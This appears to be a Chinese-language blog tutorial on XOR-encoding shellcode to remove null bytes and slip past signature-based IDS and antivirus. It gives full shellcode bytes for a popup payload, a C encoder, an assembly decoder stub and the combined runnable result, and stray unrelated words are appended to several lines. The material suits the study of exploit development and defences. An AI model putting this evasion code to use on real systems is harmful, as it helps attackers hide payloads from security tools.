Shellcode 受到的限制shell
1. 大多数状况下 shellcode 中不容许出现 0x00 截断符,这个能够经过特殊指令来作到。网络
2. 有时候 shellcode 必须为可见的 ASCII 字符或 Unicode 值。oop
3. 网络攻击时,基于特征的 IDS 会对常见的 shellcode 进行拦截。this
解决以上限制的一个办法是,对开发好的 shellcode 时行编码,使其达到限制要求。使用时,先构造解码代码,并放置在 shellcode 头部。编码
只需变动编码用的密钥,就能使 shellcode 以全新的面貌出现,从而躲过查杀。但对于使用内存查杀的杀毒软件,这个办法并不理想。spa
Shellcode 编码code
实验中用以下代码编码:blog
1 #include<stdio.h> 2 #include<string.h> 3 4 char popwnd_general[] = 5 "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53" 6 "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B\x49\x1C\x8B\x09\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75" 7 "\x05\x95\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE" 8 "\x06\x3A\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03" 9 "\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53" 10 "\x50\x50\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90"; // Append a 0x90 as decoding ending-flag 11 12 int encoder(char *input, unsigned char key, int display) 13 { 14 int i,len=strlen(input); 15 unsigned char *output=(unsigned char*)malloc(len+1); 16 FILE *fp; 17 if(!output) 18 { 19 printf("malloc failed!\n"); 20 return 1; 21 } 22 for(i=0;i<len;i++) 23 output[i]=input[i]^key; 24 if(!(fp=fopen("encode.txt","a+"))) 25 { 26 printf("open encode.txt failed!\n"); 27 return 2; 28 } 29 fprintf(fp,"\""); 30 for(i=0;i<len;i++) 31 { 32 fprintf(fp,"\\x%0.2x",output[i]); 33 if(display) printf("%0.2x ",output[i]); 34 if((i+1)%16==0) 35 { 36 fprintf(fp,"\"\n\""); 37 if(display) printf("\n"); 38 } 39 } 40 fprintf(fp,"\"\n"); 41 printf("\n"); 42 free(output); 43 return 0;44 } 45 int main() 46 { 47 /* 48 _asm{ 49 lea eax, popwnd_general 50 push eax 51 ret 52 }*/ 53 encoder(popwnd_general,0x44,1); 54 return 0; 55 }
Shellcode 头部的解码过程代码以下:内存
1 int main() 2 { 3 __asm 4 { 5 add eax,0x14 // 0x14: length of this decoder 6 xor ecx,ecx 7 decode_loop: 8 mov bl,[eax+ecx] 9 xor bl,0x44 // decoding 10 mov [eax+ecx],bl 11 inc ecx 12 cmp bl,0x90 13 jne decode_loop 14 } 15 return 0; 16 }
应用解码器的过程以下:开发
1. 编译解码器,提取 opcode 并整合到编码过的 shellcode 以前
2. 解码器执行前 EAX 须要指向整合过的 shellcode 的地址
3. 编码前的 shellcode 的最后一个必须是 0x90,解码器以此为结束标志
解码器编译后的长度恰好是 0x14,整合到编码事后的 shellcode 头部,结果以下:
1 char opcode[]= 2 "\x83\xC0\x14" // ADD EAX,14 3 "\x33\xC9" // XOR ECX,ECX 4 "\x8A\x1C\x08" // MOV BL,BYTE PTR DS:[EAX+ECX] 5 "\x80\xF3\x44" // XOR BL,44 6 "\x88\x1C\x08" // MOV BYTE PTR DS:[EAX+ECX],BL 7 "\x41" // INC ECX 8 "\x80\xFB\x90" // CMP BL,90 9 "\x75\xF1" // JNZ SHORT exp_me.004018DD 10 "\xb8\x2c\x2e\x4e\x7c\x5a\x2c\x27\xcd\x95\x0b\x2c\x76\x30\xd5\x48" 11 "\xcf\xb0\xc9\x3a\xb0\x77\x9f\xf3\x40\x6f\xa7\x22\xff\x77\x76\x17" 12 "\x2c\x31\x37\x21\x36\x10\x77\x96\x20\xcf\x1e\x74\xcf\x0f\x48\xcf" 13 "\x0d\x58\xcf\x4d\xcf\x4d\xcf\x2d\x4c\xe9\x79\x2e\x4e\x7c\x5a\x31" 14 "\x41\xd1\xbb\x13\xbc\xd1\x24\xcf\x01\x78\xcf\x08\x41\x3c\x47\x89" 15 "\xcf\x1d\x64\x47\x99\x77\xbb\x03\xcf\x70\xff\x47\xb1\xdd\x4b\xfa" 16 "\x42\x7e\x80\x30\x4c\x85\x8e\x43\x47\x94\x02\xaf\xb5\x7f\x10\x60" 17 "\x58\x31\xa0\xcf\x1d\x60\x47\x99\x22\xcf\x78\x3f\xcf\x1d\x58\x47" 18 "\x99\x47\x68\xff\xd1\x1b\xef\x13\x25\x79\x2e\x4e\x7c\x5a\x31\xed" 19 "\x77\x9f\x17\x2c\x33\x21\x37\x30\x2c\x22\x25\x2d\x28\xcf\x80\x17" 20 "\x14\x14\x17\xbb\x13\xb8\x17\xbb\x13\xbc\xd4"; 21 22 int main() 23 { 24 __asm 25 { 26 /* 27 add eax,0x14 // 0x14: length of this decoder 28 xor ecx,ecx 29 decode_loop: 30 mov bl,[eax+ecx] 31 xor bl,0x44 // decoding 32 mov [eax+ecx],bl 33 inc ecx 34 cmp bl,0x90 35 jne decode_loop 36 */ 37 lea eax,opcode 38 push eax 39 ret 40 } 41 return 0; 42 }
实际应用中,除了本身构造编码解码器以外,更简单通用的方法是运用 Metasploit。